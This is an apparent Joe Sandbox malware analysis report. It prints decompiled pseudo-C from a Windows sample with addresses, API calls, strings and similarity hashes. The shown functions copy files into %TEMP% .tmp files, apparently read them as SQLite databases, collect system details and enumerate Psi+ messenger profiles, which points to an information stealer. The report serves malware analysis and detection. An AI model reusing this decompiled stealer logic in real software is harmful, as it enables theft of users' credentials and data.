libraryloaderCOMMON

C-Code - Quality: 49%

			E0040BEBC(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v52;
				char _v68;
				char _v72;
				char _v76;
				intOrPtr* _t61;
				CHAR* _t63;
				intOrPtr* _t64;
				intOrPtr* _t81;
				intOrPtr* _t92;
				_Unknown_base(*)()* _t95;
				intOrPtr* _t96;
				intOrPtr* _t100;
				intOrPtr* _t137;
				struct HINSTANCE__* _t138;
				signed int _t139;
				intOrPtr* _t145;
				intOrPtr* _t147;
				intOrPtr _t149;
				intOrPtr _t152;
				intOrPtr _t153;
				intOrPtr* _t163;
				intOrPtr* _t166;
				void* _t168;
				void* _t169;
				signed int _t174;
				void* _t175;
				void* _t177;

				_v76 = 0;
				_v72 = 0;
				_v20 = 0;
				_v24 = 0;
				_v28 = 0;
				_v32 = 0;
				_v36 = 0;
				 *[fs:eax] = _t177 + 0xffffffb8;
				_t61 =  *0x41b40c; // 0x41c9f4
				_t63 = E00403990( *_t61);
				_t64 =  *0x41b460; // 0x41c9f0
				_t137 = GetProcAddress(LoadLibraryA(E00403990( *_t64)), _t63);
				_t145 =  *0x41b41c; // 0x41c9f8
				E00403D88( &_v72,  *_t145);
				 *_t137(E00403D98(_v72),  &_v52,  *[fs:eax], 0x40c0de, _t177, __edi, __esi, __ebx, _t175);
				_t147 =  *0x41b430; // 0x41c9fc
				E00403D88( &_v76,  *_t147);
				 *_t137(E00403D98(_v76),  &_v68);
				_t81 =  *0x41b3a8; // 0x41ca00
				_t138 = LoadLibraryA(E00403990( *_t81));
				if(_t138 != 0) {
					_t92 =  *0x41b370; // 0x41ca04
					_t95 = GetProcAddress(_t138, E00403990( *_t92));
					_t96 =  *0x41b1a8; // 0x41ca08
					_t166 = GetProcAddress(_t138, E00403990( *_t96));
					_t100 =  *0x41b360; // 0x41ca0c
					_v8 = GetProcAddress(_t138, E00403990( *_t100));
					_v12 = 0;
					_push( &_v16);
					_push(0);
					_push( &_v52);
					if( *_t95() == 0) {
						_push( &_v20);
						_push( &_v12);
						_push(0x200);
						_push(_v16);
						if( *_t166() == 0) {
							_t168 = _v12 - 1;
							if(_t168 >= 0) {
								_t169 = _t168 + 1;
								_t139 = 0;
								do {
									_t153 =  *0x40be90; // 0x40be94
									E00404810( &_v24, _t153);
									_push( &_v24);
									_push(0);
									_push(0);
									_push(0);
									_t174 = (_t139 << 3) - _t139;
									_push( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)));
									_push( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)));
									_push( &_v68);
									_push(_v16);
									if(_v8() == 0) {
										E0040370C( &_v28,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x14 + _t174 * 8)) + 0x10)));
										E0040370C( &_v32,  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x18 + _t174 * 8)) + 0x10)));
										E0040370C( &_v36,  *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x1c)) + 0x10)));
										if(E00403790(_v28) != 0 && E00403790(_v36) != 0) {
											_t163 =  *0x41b1c0; // 0x41ca10
											E0040525C(0x40c100, _t139, _v28,  *_t163, _t169, _t174, 0x40c0f4, _v36, _v32);
										}
									}
									_t139 = _t139 + 1;
									_t169 = _t169 - 1;
								} while (_t169 != 0);
							}
						}
					}
				}
				_pop(_t149);
				 *[fs:eax] = _t149;
				_push(E0040C0E5);
				E00403BF4( &_v76, 2);
				E00403508( &_v36, 3);
				_t152 =  *0x40be90; // 0x40be94
				return E00404280( &_v24, 2, _t152);
			}

0x0040bec7
0x0040beca
0x0040becd
0x0040bed0
0x0040bed3
0x0040bed6
0x0040bed9
0x0040bee7
0x0040beea
0x0040bef1
0x0040bef7
0x0040bf0f
0x0040bf18
0x0040bf20
0x0040bf2e
0x0040bf37
0x0040bf3f
0x0040bf4d
0x0040bf4f
0x0040bf61
0x0040bf65
0x0040bf6b
0x0040bf79
0x0040bf80
0x0040bf93
0x0040bf95
0x0040bfa8
0x0040bfad
0x0040bfb3
0x0040bfb4
0x0040bfb9
0x0040bfbe
0x0040bfc7
0x0040bfcb
0x0040bfcc
0x0040bfd4
0x0040bfd9
0x0040bfe2
0x0040bfe5
0x0040bfeb
0x0040bfec
0x0040bfee
0x0040bff1
0x0040bff7
0x0040bfff
0x0040c000
0x0040c002
0x0040c004
0x0040c00b
0x0040c014
0x0040c01c
0x0040c020
0x0040c024
0x0040c02a
0x0040c039
0x0040c04b
0x0040c05c
0x0040c06b
0x0040c086
0x0040c096
0x0040c096
0x0040c06b
0x0040c09b
0x0040c09c
0x0040c09c
0x0040bfee
0x0040bfe5
0x0040bfd9
0x0040bfbe
0x0040c0a5
0x0040c0a8
0x0040c0ab
0x0040c0b8
0x0040c0c5
0x0040c0cd
0x0040c0dd

APIs

LoadLibraryA.KERNEL32(00000000), ref: 0040BF04
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,0040C0DE,?,00000000,?,00000000), ref: 0040BF0A
LoadLibraryA.KERNEL32(00000000), ref: 0040BF5C
GetProcAddress.KERNEL32(00000000,00000000,00000000,?,00000000,?,00000000), ref: 0040BF79
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0040BF8E
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,00000000), ref: 0040BFA3

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressProc$LibraryLoad$E4513
String ID:
API String ID: 1863079764-0
Opcode ID: 6bdc73222cd46b35512bbad56bd334b44e4f3e5d9ef69a08f33d94f308de0f16
Instruction ID: 0e090bdfc3d65a5bca4157f74653ebb500d09f599f80782c5ae309756f7fedfb
Opcode Fuzzy Hash: 6bdc73222cd46b35512bbad56bd334b44e4f3e5d9ef69a08f33d94f308de0f16
Instruction Fuzzy Hash: A661A9B5A00209DFDB00EFA5C881A9EB7BDFF49304B50457AE914F7391D638ED458BA8

Uniqueness

Uniqueness Score: 0.15%

Function 00410D88, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 194
fileCOMMON

C-Code - Quality: 46%

			E00410D88(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t74;
				intOrPtr* _t89;
				void* _t91;
				intOrPtr* _t93;
				intOrPtr* _t97;
				intOrPtr* _t125;
				intOrPtr* _t129;
				void* _t131;
				intOrPtr* _t133;
				void* _t135;
				intOrPtr* _t137;
				intOrPtr* _t143;
				void* _t145;
				void* _t151;
				intOrPtr _t171;
				intOrPtr _t173;
				intOrPtr _t179;
				intOrPtr _t183;
				intOrPtr _t184;
				void* _t185;
				void* _t186;

				_t181 = __esi;
				_t150 = __ebx;
				_t183 = _t184;
				_t151 = 9;
				do {
					_push(0);
					_push(0);
					_t151 = _t151 - 1;
					_t188 = _t151;
				} while (_t151 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t183);
				_push(0x410fe1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E004034E4( &_v28);
				_push(_t183);
				_push(0x410f66);
				_push( *[fs:eax]);
				 *[fs:eax] = _t184;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t188);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t188);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t150,  &_v40, _t188);
				E004062FC(L"%TEMP%",  &_v60, _t188);
				_push(_v60);
				_push(0x411018);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t150,  &_v44, _t188);
				_t74 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t74, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t150, _t151,  &_v36, _t181, _t188);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t150, _t151) != 0) {
					_t89 =  *0x41b140; // 0x41ca20
					_t91 =  *((intOrPtr*)( *_t89))(E00403990(_v36),  &_v16);
					_t185 = _t184 + 8;
					__eflags = _t91;
					if(_t91 == 0) {
						_t125 =  *0x41b1b8; // 0x41c814
						_t129 =  *0x41b2d4; // 0x41ca28
						_t131 =  *((intOrPtr*)( *_t129))(_v16, E00403990( *_t125), 0xffffffff,  &_v20,  &_v24);
						_t186 = _t185 + 0x14;
						__eflags = _t131;
						if(_t131 == 0) {
							while(1) {
								_t133 =  *0x41b384; // 0x41ca2c
								_t135 =  *((intOrPtr*)( *_t133))(_v20);
								__eflags = _t135 - 0x64;
								if(_t135 != 0x64) {
									goto L9;
								}
								_t137 =  *0x41b1dc; // 0x41ca30
								E004036DC( &_v72,  *((intOrPtr*)( *_t137))(_v20, 0, _v28));
								_t143 =  *0x41b1dc; // 0x41ca30
								_t145 =  *((intOrPtr*)( *_t143))(_v20, 1, 0x411024, _v72);
								_t186 = _t186 + 0x10;
								E004036DC( &_v76, _t145);
								_push(_v76);
								_push(E00411030);
								E00403850();
							}
						}
					}
					L9:
					_t93 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t93))(_v20);
					_t97 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t97))(_v16);
					_pop(_t171);
					 *[fs:eax] = _t171;
					E00403D88(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t179);
					 *[fs:eax] = _t179;
				}
				_pop(_t173);
				 *[fs:eax] = _t173;
				_push(E00410FE8);
				E00403508( &_v76, 2);
				E00403BDC( &_v68);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BDC( &_v32);
				E004034E4( &_v28);
				return E00403BDC( &_v8);
			}

0x00410d88
0x00410d88
0x00410d89
0x00410d8b
0x00410d90
0x00410d90
0x00410d92
0x00410d94
0x00410d94
0x00410d94
0x00410d97
0x00410d98
0x00410d99
0x00410d9a
0x00410d9d
0x00410da3
0x00410daa
0x00410dab
0x00410db0
0x00410db3
0x00410db9
0x00410dc0
0x00410dc1
0x00410dc6
0x00410dc9
0x00410dd4
0x00410dd9
0x00410ddf
0x00410de4
0x00410de7
0x00410df4
0x00410dff
0x00410e0c
0x00410e11
0x00410e14
0x00410e19
0x00410e24
0x00410e2f
0x00410e39
0x00410e48
0x00410e53
0x00410e5e
0x00410e69
0x00410e78
0x00410e94
0x00410e9b
0x00410e9d
0x00410ea0
0x00410ea2
0x00410eb2
0x00410ec3
0x00410eca
0x00410ecc
0x00410ecf
0x00410ed1
0x00410f2d
0x00410f31
0x00410f38
0x00410f3b
0x00410f3e
0x00000000
0x00000000
0x00410ede
0x00410eef
0x00410f02
0x00410f09
0x00410f0b
0x00410f13
0x00410f18
0x00410f1b
0x00410f28
0x00410f28
0x00410f2d
0x00410ed1
0x00410f40
0x00410f44
0x00410f4b
0x00410f52
0x00410f59
0x00410f5e
0x00410f61
0x00410f76
0x00410f84
0x00410e7a
0x00410e7c
0x00410e7f
0x00410e7f
0x00410f8b
0x00410f8e
0x00410f91
0x00410f9e
0x00410fa6
0x00410fae
0x00410fbb
0x00410fc3
0x00410fcb
0x00410fd3
0x00410fe0

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

GetTickCount.KERNEL32(00000000,00410F66,?,00000000,00410FE1,?,00000000,?,00000000,00000000,00000000,?,00411B05,0041C80C,00411C38,?), ref: 00410DCC
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 00410E48
DeleteFileW.KERNEL32(00000000), ref: 00410F84

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

%TEMP%, xrefs: 00410E07
.tmp, xrefs: 00410DE7

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465Tick
String ID: %TEMP%$.tmp
API String ID: 254773126-3650661790
Opcode ID: 52a40d82767056af8fc75b760fd5bf277d3ec1bd90016c77cebdb1831855ff50
Instruction ID: ee23a472d3747a439df3c4e0a114333c5db2ab7a39ff8a49f746a70128ed8489
Opcode Fuzzy Hash: 52a40d82767056af8fc75b760fd5bf277d3ec1bd90016c77cebdb1831855ff50
Instruction Fuzzy Hash: F0611A71A00109AFCB10EF95DC42ADEBBB8EF48315F504476F514F32A1DB79AE468B58

Uniqueness

Uniqueness Score: 0.83%

Function 00411034, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191
fileCOMMON

C-Code - Quality: 44%

			E00411034(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				WCHAR* _t72;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t91;
				intOrPtr* _t95;
				intOrPtr* _t119;
				intOrPtr* _t123;
				void* _t125;
				intOrPtr* _t127;
				void* _t129;
				intOrPtr* _t131;
				intOrPtr* _t137;
				void* _t139;
				void* _t145;
				intOrPtr _t165;
				intOrPtr _t167;
				intOrPtr _t174;
				intOrPtr _t178;
				intOrPtr _t179;
				void* _t180;
				void* _t181;

				_t176 = __esi;
				_t144 = __ebx;
				_t178 = _t179;
				_t145 = 9;
				do {
					_push(0);
					_push(0);
					_t145 = _t145 - 1;
					_t183 = _t145;
				} while (_t145 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				_push(_t178);
				_push(0x411282);
				_push( *[fs:eax]);
				 *[fs:eax] = _t179;
				E00403BDC( &_v28);
				_push(_t178);
				_push(0x411212);
				_push( *[fs:eax]);
				 *[fs:eax] = _t179;
				E0040709C(GetTickCount(), __ebx,  &_v48, __esi, _t183);
				_push(_v48);
				E00406FDC( &_v52, __ebx, __edi, __esi, _t183);
				_push(_v52);
				_push(L".tmp");
				E00403E78();
				E004078D8(_v8, _t144,  &_v40, _t183);
				E004062FC(L"%TEMP%",  &_v60, _t183);
				_push(_v60);
				_push(E004112B8);
				_push(_v32);
				E00403E78();
				E004078D8(_v56, _t144,  &_v44, _t183);
				_t72 = E00403D98(_v44);
				CopyFileW(E00403D98(_v40), _t72, 0xffffffff);
				E0040377C( &_v64, _v44);
				E00404B58(_v64, _t144, _t145,  &_v36, _t176, _t183);
				E00403D88( &_v68, _v36);
				if(E0040776C(_v68, _t144, _t145) != 0) {
					_t87 =  *0x41b140; // 0x41ca20
					_t89 =  *((intOrPtr*)( *_t87))(E00403990(_v36),  &_v16);
					_t180 = _t179 + 8;
					__eflags = _t89;
					if(_t89 == 0) {
						_t119 =  *0x41b330; // 0x41c930
						_t123 =  *0x41b2d4; // 0x41ca28
						_t125 =  *((intOrPtr*)( *_t123))(_v16, E00403990( *_t119), 0xffffffff,  &_v20,  &_v24);
						_t181 = _t180 + 0x14;
						__eflags = _t125;
						if(_t125 == 0) {
							while(1) {
								_t127 =  *0x41b384; // 0x41ca2c
								_t129 =  *((intOrPtr*)( *_t127))(_v20);
								__eflags = _t129 - 0x64;
								if(_t129 != 0x64) {
									goto L9;
								}
								_t131 =  *0x41b1dc; // 0x41ca30
								E00403CF4( &_v72,  *((intOrPtr*)( *_t131))(_v20, 0, _v28));
								_t137 =  *0x41b1dc; // 0x41ca30
								_t139 =  *((intOrPtr*)( *_t137))(_v20, 1, E004112C0, _v72);
								_t181 = _t181 + 0x10;
								E00403CF4( &_v76, _t139);
								_push(_v76);
								_push(E004112C8);
								E00403E78();
							}
						}
					}
					L9:
					_t91 =  *0x41b46c; // 0x41ca38
					 *((intOrPtr*)( *_t91))(_v20);
					_t95 =  *0x41b20c; // 0x41ca24
					 *((intOrPtr*)( *_t95))(_v16);
					_pop(_t165);
					 *[fs:eax] = _t165;
					E00403C18(_v12, _v28);
					DeleteFileW(E00403D98(_v44));
				} else {
					_pop(_t174);
					 *[fs:eax] = _t174;
				}
				_pop(_t167);
				 *[fs:eax] = _t167;
				_push(E00411289);
				E00403BF4( &_v76, 3);
				E004034E4( &_v64);
				E00403BF4( &_v60, 6);
				E004034E4( &_v36);
				E00403BF4( &_v32, 2);
				return E00403BDC( &_v8);
			}

0x00411034
0x00411034
0x00411035
0x00411037
0x0041103c
0x0041103c
0x0041103e
0x00411040
0x00411040
0x00411040
0x00411043
0x00411044
0x00411045
0x00411046
0x00411049
0x0041104f
0x00411056
0x00411057
0x0041105c
0x0041105f
0x00411065
0x0041106c
0x0041106d
0x00411072
0x00411075
0x00411080
0x00411085
0x0041108b
0x00411090
0x00411093
0x004110a0
0x004110ab
0x004110b8
0x004110bd
0x004110c0
0x004110c5
0x004110d0
0x004110db
0x004110e5
0x004110f4
0x004110ff
0x0041110a
0x00411115
0x00411124
0x00411140
0x00411147
0x00411149
0x0041114c
0x0041114e
0x0041115e
0x0041116f
0x00411176
0x00411178
0x0041117b
0x0041117d
0x004111d9
0x004111dd
0x004111e4
0x004111e7
0x004111ea
0x00000000
0x00000000
0x0041118a
0x0041119b
0x004111ae
0x004111b5
0x004111b7
0x004111bf
0x004111c4
0x004111c7
0x004111d4
0x004111d4
0x004111d9
0x0041117d
0x004111ec
0x004111f0
0x004111f7
0x004111fe
0x00411205
0x0041120a
0x0041120d
0x00411222
0x00411230
0x00411126
0x00411128
0x0041112b
0x0041112b
0x00411237
0x0041123a
0x0041123d
0x0041124a
0x00411252
0x0041125f
0x00411267
0x00411274
0x00411281

APIs

Part of subcall function 00404150: 77EE465A.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?,0041A232,00406E86,?,?,00406F62,?,00000000,00406F6C,?,?,?,?,?,00406D2D), ref: 0040415E

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

GetTickCount.KERNEL32(00000000,00411212,?,00000000,00411282,?,00000000,?,00000000,00000000,00000000,?,0041173C,0041C91C,00411988,?), ref: 00411078
CopyFileW.KERNEL32(00000000,00000000,000000FF), ref: 004110F4

Part of subcall function 00403C18: 77EE7790.OLEAUT32(?,00406C70,00000002,00406BF5,?,00406D40,00000000,00406E52,?,?,?,00000006,00000000,00000000,?,0041874E), ref: 00403C2E

DeleteFileW.KERNEL32(00000000), ref: 00411230

Part of subcall function 00403BF4: 77EE4513.OLEAUT32(?,?,80000002,00406F1E,00406F26), ref: 00403C07

Strings

%TEMP%, xrefs: 004110B3
.tmp, xrefs: 00411093

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: E4513File$CopyCountDeleteE465E7790Tick
String ID: %TEMP%$.tmp
API String ID: 1739629129-3650661790
Opcode ID: 3f235d18d13c86ff430b1fb222f05703180447fa8830be5146bc8e03c8a55f78
Instruction ID: b158b585ad64a0e2cffbc60e29a794732e4ff4356334f001507f487ecad874f7
Opcode Fuzzy Hash: 3f235d18d13c86ff430b1fb222f05703180447fa8830be5146bc8e03c8a55f78
Instruction Fuzzy Hash: E4611975A00109AFDB00EB95DC82ADEBBF8EF49314F504076F514F32A1DA38AE458B58

Uniqueness

Uniqueness Score: 0.83%

Function 00402AC4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49
registryCOMMON

C-Code - Quality: 65%

			E00402AC4() {
				void* _v8;
				char _v12;
				int _v16;
				signed short _t12;
				signed short _t14;
				intOrPtr _t27;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t29 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v12 =  *0x41b018 & 0x0000ffff;
				if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Borland\\Delphi\\RTL", 0, 1,  &_v8) != 0) {
					_t12 =  *0x41b018; // 0x1332
					_t14 = _t12 & 0x0000ffc0 | _v12 & 0x0000003f;
					 *0x41b018 = _t14;
					return _t14;
				} else {
					_push(_t29);
					_push(E00402B35);
					_push( *[fs:eax]);
					 *[fs:eax] = _t32;
					_v16 = 4;
					RegQueryValueExA(_v8, "FPUMaskValue", 0, 0,  &_v12,  &_v16);
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x402b3c);
					return RegCloseKey(_v8);
				}
			}

0x00402ac5
0x00402ac7
0x00402ad1
0x00402aed
0x00402b3c
0x00402b4e
0x00402b51
0x00402b5a
0x00402aef
0x00402af1
0x00402af2
0x00402af7
0x00402afa
0x00402afd
0x00402b19
0x00402b20
0x00402b23
0x00402b26
0x00402b34
0x00402b34

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Strings

FPUMaskValue, xrefs: 00402B10
SOFTWARE\Borland\Delphi\RTL, xrefs: 00402ADC

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction ID: 9172d05214030136d6eeabac91fa7c92d03713ed8c8260d1a9efe939ba63eb8f
Opcode Fuzzy Hash: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction Fuzzy Hash: 04019275500308B9DB21AF908D46FAA7BB8D708700F600076BA04F66D0E7B8AA10979C

Uniqueness

Uniqueness Score: 0.01%

Function 00415CA0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46
libraryloaderUNIQUE

C-Code - Quality: 66%

			E00415CA0(void* __eax, void* __ebx, void* __esi, void* __eflags) {
				intOrPtr _v56;
				intOrPtr _v60;
				char _v68;
				char _v72;
				_Unknown_base(*)()* _t13;
				intOrPtr _t36;
				void* _t38;
				void* _t39;
				void* _t41;
				void* _t43;

				_t43 = __eflags;
				_v72 = 0;
				_t38 = __eax;
				 *[fs:eax] = _t41 + 0xffffffbc;
				_t13 = GetProcAddress(LoadLibraryA("kernel32.dll"), "GlobalMemoryStatusEx");
				E004028E0( &_v68, 0x40);
				_v68 = 0x40;
				 *_t13( &_v68,  *[fs:eax], 0x415d2a, _t41, __esi, __ebx, _t39);
				E0040709C(E004045CC(_v60, _v56, 0x100000, 0), _t13,  &_v72, _t38, _t43);
				E0040377C(_t38, _v72);
				_pop(_t36);
				 *[fs:eax] = _t36;
				_push(E00415D31);
				return E00403BDC( &_v72);
			}

0x00415ca0
0x00415caa
0x00415cad
0x00415cba
0x00415ccd
0x00415cde
0x00415ce3
0x00415cee
0x00415d05
0x00415d0f
0x00415d16
0x00415d19
0x00415d1c
0x00415d29

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00415CC7
GetProcAddress.KERNEL32(00000000,kernel32.dll,GlobalMemoryStatusEx,00000000,00415D2A,?,?,?), ref: 00415CCD

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

GlobalMemoryStatusEx, xrefs: 00415CBD
kernel32.dll, xrefs: 00415CC2
@, xrefs: 00415CE3

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressE4513LibraryLoadProc
String ID: @$GlobalMemoryStatusEx$kernel32.dll
API String ID: 623769148-3878206809
Opcode ID: 5eeb3ec54954d817a626a728fb8354e566553434f55f9140ae49c3a946b28046
Instruction ID: 391148e63b22df71c2771543718f35c183a5c4b34bdda626484a7ccee0bd3fce
Opcode Fuzzy Hash: 5eeb3ec54954d817a626a728fb8354e566553434f55f9140ae49c3a946b28046
Instruction Fuzzy Hash: 55017571A006089BD711EBA1DD46BDE77B9EB88704F51453AF500B32D1E67C6D018659

Uniqueness

Uniqueness Score: 100.00%

Function 00406678, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32
libraryloaderUNIQUE

C-Code - Quality: 33%

			E00406678(void* __ecx) {
				signed char _t3;
				signed char _t7;
				intOrPtr* _t8;
				signed char* _t11;

				_t8 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				_t3 = 0;
				 *_t11 = 0;
				if(_t8 != 0) {
					_push(_t11);
					_push(GetCurrentProcess());
					if( *_t8() == 0 ||  *_t11 == 0) {
						_t7 = 0;
					} else {
						_t7 = 1;
					}
					_t3 =  ~_t7;
					asm("sbb eax, eax");
					 *_t11 = _t3;
				}
				asm("sbb eax, eax");
				return _t3 + 1;
			}

0x0040668f
0x00406691
0x00406693
0x00406698
0x0040669a
0x004066a0
0x004066a5
0x004066ad
0x004066b1
0x004066b1
0x004066b1
0x004066b3
0x004066b5
0x004066b7
0x004066b7
0x004066be
0x004066c3

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A4C,00000000,00416D10,?,Windows : ,?,,?,EXE_PATH : ,?), ref: 00406684
GetProcAddress.KERNEL32(00000000,kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A4C,00000000,00416D10,?,Windows : ,?,,?,EXE_PATH : ), ref: 0040668A
GetCurrentProcess.KERNEL32(?,00000000,kernel32.dll,IsWow64Process,?,?,004066F8,?,00416A4C,00000000,00416D10,?,Windows : ,?,,?), ref: 0040669B

Strings

IsWow64Process, xrefs: 0040667A
kernel32.dll, xrefs: 0040667F

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 8eb6f03bcd6ab276051a9b6c1c8181b46663d6ba22bff9dab423ec8f56f1a44b
Instruction ID: e294de711800d21e639c3a9fa9d3456d397d027599023024eec292f5251465af
Opcode Fuzzy Hash: 8eb6f03bcd6ab276051a9b6c1c8181b46663d6ba22bff9dab423ec8f56f1a44b
Instruction Fuzzy Hash: 1FE09BB16147019EDB007BB58C41B3B21CCAB65305F031C3EA082F12C0D97EC8908A6D

Uniqueness

Uniqueness Score: 100.00%

Function 0040D988, Relevance: 7.7, Strings: 6, Instructions: 240
UNIQUE

C-Code - Quality: 42%

			E0040D988(intOrPtr __eax, signed int __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				char _v564;
				char _v608;
				char _v612;
				intOrPtr _v616;
				char _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				char _v640;
				char _v644;
				intOrPtr _v648;
				char _v652;
				char _v656;
				char _v660;
				intOrPtr _v664;
				char _v668;
				char _v672;
				intOrPtr* _t82;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t95;
				intOrPtr* _t123;
				intOrPtr* _t128;
				intOrPtr* _t136;
				void* _t138;
				void* _t176;
				intOrPtr _t201;
				intOrPtr _t206;
				intOrPtr _t207;
				void* _t218;
				intOrPtr _t220;
				void* _t225;
				intOrPtr _t227;
				intOrPtr _t231;
				intOrPtr _t232;

				_t229 = __esi;
				_t228 = __edi;
				_t175 = __ebx;
				_t231 = _t232;
				_t176 = 0x53;
				do {
					_push(0);
					_push(0);
					_t176 = _t176 - 1;
					_t233 = _t176;
				} while (_t176 != 0);
				_v8 = __eax;
				 *[fs:eax] = _t232;
				E004034E4(_v8);
				E004062FC(L"%Appdata%\\Psi+\\profiles\\",  &_v16, _t233);
				 *[fs:eax] = _t232;
				E00403E14( &_v612, L"\\*.*", _v16, _t233);
				_t82 = E0041B2D8; // 0x41c6b4
